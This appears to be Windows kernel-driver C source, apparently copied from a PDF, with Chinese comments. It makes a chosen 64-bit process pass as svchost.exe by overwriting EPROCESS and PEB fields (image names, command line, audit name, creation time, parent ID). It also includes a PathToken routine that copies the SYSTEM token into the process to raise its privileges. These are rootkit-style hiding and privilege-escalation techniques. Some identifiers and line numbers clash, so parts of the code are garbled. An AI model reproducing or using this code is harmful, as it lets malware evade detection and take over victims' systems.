

```

1  #include "pch.h"
2
3  #pragma warning(disable: 4214)
4  #pragma warning(disable: 4057)
5  #pragma warning(disable: 4201)
6  #pragma warning(disable: 4267)
7
8  typedef struct _LDR_DATA_TABLE_ENTRY // 24 elements, 0xE0 bytes
9  (sizeof)
10 {
11     /*0x00*/ struct _LIST_ENTRY InLoadOrderLinks; // 2
12     elements, 0x10 bytes (sizeof)
13     /*0x10*/ struct _LIST_ENTRY InMemoryOrderLinks; // 2
14     elements, 0x10 bytes (sizeof)
15     /*0x20*/ struct _LIST_ENTRY InInitializationOrderLinks; // 2
16     elements, 0x10 bytes (sizeof)
17     /*0x30*/ VOID* DllBase;
18     /*0x38*/ VOID* EntryPoint;
19     /*0x40*/ ULONG32 SizeOfImage;
20     /*0x44*/ UINT8 _PADDING0_[0x4];
21     /*0x48*/ struct _UNICODE_STRING FullDllName; // 3
22     elements, 0x10 bytes (sizeof)
23     /*0x58*/ struct _UNICODE_STRING BaseDllName; // 3
24     elements, 0x10 bytes (sizeof)
25 }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
26
27 typedef struct _CURDIR // 2 elements, 0x18 bytes (sizeof)
28 {
29     /*0x00*/ struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof)
30     /*0x10*/ VOID* Handle;
31 }CURDIR, *PCURDIR;
32
33 typedef struct _RTL_USER_PROCESS_PARAMETERS // 30 elements, 0x400 bytes
34 (sizeof)
35 {
36     /*0x00*/ ULONG32 MaximumLength;
37     /*0x04*/ ULONG32 Length;
38     /*0x08*/ ULONG32 Flags;
39     /*0x0C*/ ULONG32 DebugFlags;
40     /*0x10*/ VOID* ConsoleHandle;
41     /*0x18*/ ULONG32 ConsoleFlags;
42     /*0x1C*/ UINT8 _PADDING0_[0x4];
43     /*0x20*/ VOID* StandardInput;
44     /*0x28*/ VOID* StandardOutput;
45     /*0x30*/ VOID* StandardError;
46     /*0x38*/ struct _CURDIR CurrentDirectory; // 2 elements,
47     0x18 bytes (sizeof)
48     /*0x50*/ struct _UNICODE_STRING DllPath; // 3 elements,
49     0x10 bytes (sizeof)
50     /*0x60*/ struct _UNICODE_STRING ImagePathName; // 3 elements,
51     0x10 bytes (sizeof)
52     /*0x70*/ struct _UNICODE_STRING CommandLine; // 3 elements,
53     0x10 bytes (sizeof)
54     /*0x80*/ VOID* Environment;
55     /*0x88*/ ULONG32 StartingX;
56     /*0x8C*/ ULONG32 StartingY;
57     /*0x90*/ ULONG32 CountX;
58     /*0x94*/ ULONG32 CountY;
59     /*0x98*/ ULONG32 CountCharsX;
60     /*0x9C*/ ULONG32 CountCharsY;
61     /*0xA0*/ ULONG32 FillAttribute;
62     /*0xA4*/ ULONG32 WindowFlags;
63     /*0xA8*/ ULONG32 ShowWindowFlags;
64     /*0xAC*/ UINT8 _PADDING1_[0x4];
65     /*0xB0*/ struct _UNICODE_STRING WindowTitle; // 3 elements,
66     0x10 bytes (sizeof)
67     /*0xC0*/ struct _UNICODE_STRING DesktopInfo; // 3 elements,
68     0x10 bytes (sizeof)
69     /*0xD0*/ struct _UNICODE_STRING ShellInfo; // 3 elements,
70     0x10 bytes (sizeof)

```

```

57     /*0x0E0*/ struct _UNICODE_STRING RuntimeData; // 3 elements,
0x10 bytes (sizeof)
58 }RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
59
60
61 typedef struct _PEB_LDR_DATA // 9 elements, 0x58 bytes
(sizeof)
62 {
63     /*0x000*/ ULONG32 Length;
64     /*0x004*/ UINT8 Initialized;
65     /*0x005*/ UINT8 _PADDING0_[0x3];
66     /*0x008*/ VOID* SsHandle;
67     /*0x010*/ struct _LIST_ENTRY InLoadOrderModuleList; // 2 elements,
0x10 bytes (sizeof)
68     /*0x020*/ struct _LIST_ENTRY InMemoryOrderModuleList; // 2 elements,
0x10 bytes (sizeof)
69     /*0x030*/ struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements,
0x10 bytes (sizeof)
70     /*0x040*/ VOID* EntryInProgress;
71     /*0x048*/ UINT8 ShutdownInProgress;
72     /*0x049*/ UINT8 _PADDING1_[0x7];
73     /*0x050*/ VOID* ShutdownThreadId;
74 }PEB_LDR_DATA, *PPEB_LDR_DATA;
75
76
77 typedef struct _PEB
// 91 elements, 0x380 bytes (sizeof)
78 {
79     /*0x000*/ UINT8 InheritedAddressSpace;
80     /*0x001*/ UINT8 ReadImageFileExecOptions;
81     /*0x002*/ UINT8 BeingDebugged;
82     union
// 2 elements, 0x1 bytes (sizeof)
83     {
84         /*0x003*/ UINT8 BitField;
85         struct
// 6 elements, 0x1 bytes (sizeof)
86         {
87             /*0x003*/ UINT8 ImageUsesLargePages : 1;
// 0 BitPosition
88             /*0x003*/ UINT8 IsProtectedProcess : 1;
// 1 BitPosition
89             /*0x003*/ UINT8 IsLegacyProcess : 1;
// 2 BitPosition
90             /*0x003*/ UINT8 IsImageDynamicallyRelocated : 1;
// 3 BitPosition
91             /*0x003*/ UINT8 SkipPatchingUser32Forwarders : 1;
// 4 BitPosition
92             /*0x003*/ UINT8 SpareBits : 3;
// 5 BitPosition
93         };
94     };
95     /*0x008*/ VOID* Mutant;
96     /*0x010*/ VOID* ImageBaseAddress;
97     /*0x018*/ struct _PEB_LDR_DATA* Ldr;
98     /*0x020*/ struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
99 }PEB, *PPEB;
100
101 /*
102 +0x2e0 ImageFileName : [15] "explorer.exe"
103 0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
104 nt!_SE_AUDIT_PROCESS_CREATION_INFO
105 +0x000 ImageFileName : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
106 0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
107 nt!_OBJECT_NAME_INFORMATION
108 +0x000 Name : _UNICODE_STRING
"\\Device\\HarddiskVolume1\\Windows\\explorer.exe"
109 PEB ProcessParameters
110 +0x060 ImagePathName : _UNICODE_STRING "C:\\Windows\\Explorer.EXE"
111 +0x070 CommandLine : _UNICODE_STRING "C:\\Windows\\Explorer.EXE"
112 +0x080 Environment : 0x00000000`02932eb0 Void
113 +0x088 StartingX : 0
114 +0x08c StartingY : 0
115 +0x090 CountX : 0

```

```

116 +0x094 CountY      : 0
117 +0x098 CountCharsX : 0
118 +0x09c CountCharsY : 1
119 +0x0a0 FillAttribute : 0x175
120 +0x0a4 WindowFlags : 1
121 +0x0a8 ShowWindowFlags : 1
122 +0x0b0 WindowTitle : _UNICODE_STRING "C:\Windows\Explorer.EXE"
123 +0x0c0 DesktopInfo : _UNICODE_STRING "Winsta0\Default"
124 +0x0d0 ShellInfo : _UNICODE_STRING "C:\Windows\Explorer.EXE"
125 InLoadOrderModuleList InMemoryOrderLinks是同一内存区域(前者+0x10就是后者 只需要改一个地方
    就行 最好前者)
126 */
127
128 WCHAR* g_szTarSeAuditProcessName = NULL;
129 WCHAR* g_szTarPebFullName = NULL;
130 WCHAR* g_szTarPebBaseName = NULL;
131 WCHAR* g_szTarFileObjectName = NULL;
132 WCHAR* g_szTarPebCurrentDir = NULL;
133 WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
134 LARGE_INTEGER g_TarCreateTime = { 0 };
135 ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;
136
137 // 获取被伪装的进程的一些信息
138 NTSTATUS PsGetTarProcessInfo(HANDLE pid)
139 {
140     // SE_AUDIT_PROCESS_CREATION_INFO
141     // PEB ProcessParameters
142     // PEB Ldr
143     PPEB peb = NULL;
144     PLDR_DATA_TABLE_ENTRY ldr = NULL;
145     PEPROCESS Process = NULL;
146     NTSTATUS status = STATUS_UNSUCCESSFUL;
147     PUNICODE_STRING SeAuditName = NULL;
148     PUNICODE_STRING SeLocateName = NULL;
149     PFILE_OBJECT pFileObject = NULL;
150
151     status = PsLookupProcessByProcessId(pid, &Process);
152
153     if (!NT_SUCCESS(status))
154         return status;
155
156     g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
157     g_TarInheritedFromUniqueProcessId =
        PsGetProcessInheritedFromUniqueProcessId(Process);
158
159     if (*NtBuildNumber > 9600)
160     {
161         g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
162         if (g_szTarWin10ImageFilePointerName == NULL)
163             return STATUS_NO_MEMORY;
164
165         RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
166     }
167
168     if (g_szTarPebBaseName == NULL)
169         g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
170
171     if (g_szTarPebFullName == NULL)
172         g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
173
174     if (g_szTarSeAuditProcessName == NULL)
175         g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
176
177     if (g_szTarFileObjectName == NULL)
178         g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
179
180     if (g_szTarPebCurrentDir == NULL)
181         g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
182
183     if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName &&
        g_szTarFileObjectName && g_szTarPebCurrentDir)
184     {
185         RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
186         RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);

```

```

187 RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
188 RtlZeroMemory(g_szTarFileName, KMAX_PATH * 2);
189 RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);
190
191 if (!NT_SUCCESS(SelocateProcessImageName(Process, &SelocateName)))
192     return STATUS_UNSUCCESSFUL;
193
194 ExFreePool(SelocateName);
195
196 if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
197     return STATUS_UNSUCCESSFUL;
198
199 RtlCopyMemory(g_szTarFileName, pFileObject->FileName.Buffer, pFileObject->
200 >FileName.Length);
201
202 ObDereferenceObject(pFileObject);
203
204 if (*NtBuildNumber > 9600)
205 {
206     pFileObject = (PFILE_OBJECT)((PULONG_PTR)((ULONG_PTR)Process + 0x448));
207     //+0x448 ImageFilePointer
208     if (!MmIsAddressValid(pFileObject))
209     {
210         ObDereferenceObject(Process);
211         return STATUS_UNSUCCESSFUL;
212     }
213
214     RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->
215 >FileName.Buffer, pFileObject->FileName.Length);
216 }
217
218 if(*NtBuildNumber < 9600)
219     SeAuditName = (PUNICODE_STRING)((PULONG_PTR)((ULONG_PTR)Process + 0x390));
220 // win7 offset
221 else
222     SeAuditName = (PUNICODE_STRING)((PULONG_PTR)((ULONG_PTR)Process + 0x468));
223 // win10 offset 14393 15063 16299
224
225 if (!MmIsAddressValid(SeAuditName))
226 {
227     ObDereferenceObject(Process);
228     return STATUS_UNSUCCESSFUL;
229 }
230
231 RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->
232 >Length);
233
234 peb = PsGetProcessPeb(Process);
235
236 KeAttachProcess(Process);
237
238 __try {
239     RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->
240 >ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
241     ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
242     RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->
243 >BaseDllName.Length);
244     RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->
245 >CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->
246 >CurrentDirectory.DosPath.Length);
247     status = STATUS_SUCCESS;
248 }
249 __except (1)
250 {
251     KeDetachProcess();
252 }
253
254 else
255 {
256     status = STATUS_NO_MEMORY;
257 }
258

```

```

251     ObDereferenceObject(Process);
252
253     return status;
254 }
255
256 BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
257 {
258     BOOLEAN bRet = FALSE;
259     PFILE_OBJECT pFileObject = NULL;
260     WCHAR* szNewFullName = NULL;
261
262     if (szFullName == NULL || Process == NULL)
263         return FALSE;
264
265     szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
266     if (szNewFullName == NULL)
267         return FALSE;
268
269     RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
270
271     pFileObject = (PFILE_OBJECT)*(PULONG_PTR)((ULONG_PTR)Process + 0x448); //+0x448
ImageFilePointer
272
273     if (!MmIsAddressValid(pFileObject))
274     {
275         ExFreePool(szNewFullName);
276         return FALSE;
277     }
278
279     if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
280     {
281         RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->
282 >FileName.MaximumLength);
283         RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) *
284 2);
285         pFileObject->FileName.Length = wcslen(szFullName) * 2;
286         ExFreePool(szNewFullName);
287         bRet = TRUE;
288     }
289     else
290     {
291         RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
292         pFileObject->FileName.Buffer = szNewFullName;
293         pFileObject->FileName.Length = wcslen(szFullName) * 2;
294         pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
295         bRet = TRUE;
296     }
297
298     return bRet;
299 }
300
301 BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
302 {
303     BOOLEAN bRet = FALSE;
304     PFILE_OBJECT pFileObject = NULL;
305     WCHAR* szNewFullName = NULL;
306
307     if (szFullName == NULL || Process == NULL)
308         return FALSE;
309
310     szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
311     if (szNewFullName == NULL)
312         return FALSE;
313
314     RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
315
316     if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
317         return FALSE;
318
319     if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
320     {
321         RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->
322 >FileName.MaximumLength);

```

```

320     RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) *
2);
321     pFileObject->FileName.Length = wcslen(szFullName) * 2;
322     ExFreePool(szNewFullName);
323     bRet = TRUE;
324 }
325 else
326 {
327     RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
328     pFileObject->FileName.Buffer = szNewFullName;
329     pFileObject->FileName.Length = wcslen(szFullName) * 2;
330     pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
331     bRet = TRUE;
332 }
333
334 ObDereferenceObject(pFileObject);
335 return bRet;
336 }
337
338 BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
339 {
340     PPEB peb = NULL;
341     BOOLEAN bRet = FALSE;
342     BOOLEAN bAttach = FALSE;
343     PLDR_DATA_TABLE_ENTRY ldr = NULL;
344     if (Process == NULL || szFullName == NULL || szBaseName == NULL)
345         return FALSE;
346
347     do
348     {
349         peb = PsGetProcessPeb(Process);
350
351         if (peb == NULL)
352             break;
353
354         KeAttachProcess(Process);
355         bAttach = TRUE;
356
357         __try {
358             ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
359
360             if (!MmIsAddressValid(ldr))
361                 break;
362
363             if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
364                 break;
365
366             if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
367                 break;
368
369             RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
370             RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);
371
372             RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
373             RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
374             bRet = TRUE;
375         }
376         __except (1)
377         {
378         }
379     } while (FALSE);
380
381     if (bAttach)
382         KeDetachProcess();
383
384     return bRet;
385 }
386
387
388 BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
389 {
390     BOOLEAN bRet = FALSE;
391     BOOLEAN bAttach = FALSE;
392     PPEB Peb = NULL;

```

```

393
394     if (Process == NULL || szFullName == NULL)
395         return FALSE;
396
397     do
398     {
399         Peb = PsGetProcessPeb(Process);
400
401         if (Peb == NULL)
402             break;
403
404         KeAttachProcess(Process);
405         bAttach = TRUE;
406
407         __try {
408             if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
409                 break;
410
411             RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb-
412 >ProcessParameters->ImagePathName.MaximumLength);
413             RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName,
414 wcslen(szFullName) * 2);
415
416             RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb-
417 >ProcessParameters->CommandLine.MaximumLength);
418             RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName,
419 wcslen(szFullName) * 2);
420
421             if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
422             {
423                 RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb-
424 >ProcessParameters->WindowTitle.MaximumLength);
425                 RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName,
426 wcslen(szFullName) * 2);
427             }
428
429             if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
430             {
431                 RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb-
432 >ProcessParameters->ShellInfo.MaximumLength);
433                 RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName,
434 wcslen(szFullName) * 2);
435             }
436
437             if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >=
438 wcslen(g_szTarPebCurrentDir) * 2)
439             {
440                 RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer,
441 Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
442                 RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer,
443 g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
444             }
445             bRet = TRUE;
446         } __except (1)
447         {
448
449         } while (FALSE);
450
451         if(bAttach)
452             KeDetachProcess();
453
454         return bRet;
455     }
456
457 // 这里的ProcessName 为全路径 \Device\HarddiskVolume1\Windows\explorer.exe 这里使用
458 GetTarProcessInfo去获取即可
459 BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
460 {
461     PUNICODE_STRING Name = NULL;
462     PUNICODE_STRING SeloateName = NULL;
463
464

```

```

455     if (Process == NULL || ProcessName == NULL)
456         return FALSE;
457
458     if (!NT_SUCCESS(SelocateProcessImageName(Process, &SelocateName)))
459         return FALSE;
460
461     ExFreePool(SelocateName);
462
463     if(*NtBuildNumber < 9600)
464         Name = (PUNICODE_STRING)*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
465     else
466         Name = (PUNICODE_STRING)*(PULONG_PTR)((ULONG_PTR)Process + 0x468));
467
468     if (!MmIsAddressValid(Name))
469         return FALSE;
470
471     if ((wcslen(ProcessName) * 2) > Name->Length)
472     {
473         return FALSE;
474     }
475
476     RtlZeroMemory(Name->Buffer, Name->MaximumLength);
477     RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
478     Name->Length = wcslen(ProcessName) * 2;
479     return TRUE;
480 }
481
482 // cName15字节的大小 分配内存时注意要大于15
483 BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
484 {
485     char    szNameBuff[15] = { 0 };
486     char*    szProcessBuff = NULL;
487     size_t   cNamelen = 0;
488
489     if (Process == NULL || cName == NULL)
490         return FALSE;
491
492     cNamelen = strlen(cName);
493
494     RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
495     if(cNamelen > 15)
496         RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
497     else
498         RtlCopyMemory(szNameBuff, cName, cNamelen);
499     szProcessBuff = PsGetProcessImageFileName(Process);
500     RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
501     RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));
502
503     return TRUE;
504 }
505
506 PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
507 {
508     //
509     // To get an address of a token from the Token field in EPROCESS, the lowest
510     // N bits where N is size of a RefCnt field needs to be masked.
511     //
512     // kd> dt nt!_EX_FAST_REF
513     //   + 0x000 Object : Ptr64 Void
514     //   + 0x000 RefCnt : Pos 0, 4 Bits
515     //   + 0x000 Value  : Uint8B
516     //
517     ULONG_PTR Value = *(ULONG_PTR*)(Address);
518     return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
519 }
520
521 BOOLEAN PathToken(PEPROCESS Process)
522 {
523     PACCESS_TOKEN CurrentToken = NULL;
524     PACCESS_TOKEN SystemToken = NULL;
525     BOOLEAN bRet = FALSE;
526     CurrentToken = PsReferencePrimaryToken(Process);
527     SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);
528

```



```

529     for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
530         Offset += sizeof(void *))
531     {
532         // Is this address stores token?
533         ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
534         PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
535         if (ProbableToken == CurrentToken)
536         {
537             // Found the field, replace the contents with the SYSTEM token
538             PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
539             *TokenAddress = SystemToken;
540             bRet = TRUE;
541             break;
542         }
543     }
544     //ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
545     //PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
546     //if (ProbableToken == CurrentToken)
547     //{
548     //    // Found the field, replace the contents with the SYSTEM token
549     //    PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
550     //    *TokenAddress = SystemToken;
551     //    bRet = TRUE;
552     //}
553
554     PsDereferencePrimaryToken(CurrentToken);
555     PsDereferencePrimaryToken(SystemToken);
556     return bRet;
557 }
558
559 BOOLEAN PathCreateTime(PEPROCESS Process)
560 {
561     ULONG offset = 0;
562     offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
563     if (offset)
564     {
565         *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
566         return TRUE;
567     }
568     return FALSE;
569 }
570
571 BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
572 {
573     ULONG offset = 0;
574     offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
575     if (offset)
576     {
577         *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
578         return TRUE;
579     }
580     return FALSE;
581 }
582
583 BOOLEAN PathModification(HANDLE pid)
584 {
585     HANDLE SvchostPid = NULL;
586     PEPROCESS Process = NULL;
587     //DbgBreakPoint();
588
589     // 不支持x86进程
590     if (!PsIs64BitProcess(pid))
591         return FALSE;
592
593     SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);
594
595     if (SvchostPid == NULL)
596         return FALSE;
597
598     if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
599         return FALSE;
600
601     if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
602         return FALSE;

```

```
603
604     PathSeFileObject(Process, g_szTarFileObjectName);
605
606     if (*NtBuildNumber > 9600)
607         PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);
608
609     PathImageFileName(Process, "svchost.exe");
610
611     PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);
612
613     PathPebProcessParameters(Process, g_szTarPebFullName);
614
615     PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);
616
617     //PathToken(Process);
618
619     PathCreateTime(Process);
620
621     PathInheritedFromUniqueProcessId(Process);
622
623     ObDereferenceObject(Process);
624     return TRUE;
625 }
```


